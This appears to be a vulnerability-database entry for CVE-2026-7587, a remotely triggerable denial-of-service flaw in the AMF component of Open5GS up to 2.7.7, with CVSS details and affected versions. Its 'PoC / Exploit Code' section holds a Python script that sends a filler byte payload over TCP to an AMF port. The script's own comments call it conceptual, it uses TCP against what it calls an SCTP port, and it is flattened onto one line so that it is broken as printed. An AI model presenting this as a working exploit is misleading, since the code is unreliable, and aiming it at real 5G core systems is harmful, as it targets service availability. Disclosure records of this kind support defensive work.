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CVE-2026-7587 CVSS 4.3 MEDIUM

CVE-2026-7587

Published: 2026-05-01 17:16:26
Last Modified: 2026-05-07 01:47:29

Description

A vulnerability has been found in Open5GS up to 2.7.7. This vulnerability affects the function amf_nsmf_pdusession_handle_update_sm_context of the file /src/amf/nsmf-handler.c of the component AMF. The manipulation leads to denial of service. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The project was informed of the problem early through an issue report but has not responded yet.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:open5gs:open5gs:*:*:*:*:*:*:*:* - VULNERABLE
Open5GS <= 2.7.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket # Proof of Concept for CVE-2026-7587 # This script demonstrates a conceptual denial of service attack on Open5GS AMF. # Note: Actual exploitation requires crafting specific NGAP/HTTP2 packets. def send_exploit_packet(target_ip, target_port): try: # Create a TCP socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) # Connect to the Open5GS AMF interface s.connect((target_ip, target_port)) # Mal payload triggering the vulnerability in amf_nsmf_pdusession_handle_update_sm_context # In a real scenario, this would be a specific malformed PDU Session Update SM Context message payload = b"\x00\x00\x00\x01" * 100 print(f"[+] Sending malicious payload to {target_ip}:{target_port}") s.sendall(payload) response = s.recv(1024) print(f"[+] Received response: {response}") except Exception as e: print(f"[-] Error: {e}") finally: s.close() if __name__ == "__main__": # Replace with actual target IP and Port TARGET_IP = "127.0.0.1" TARGET_PORT = 38412 # Default SCTP port for NGAP, might vary based on config send_exploit_packet(TARGET_IP, TARGET_PORT)

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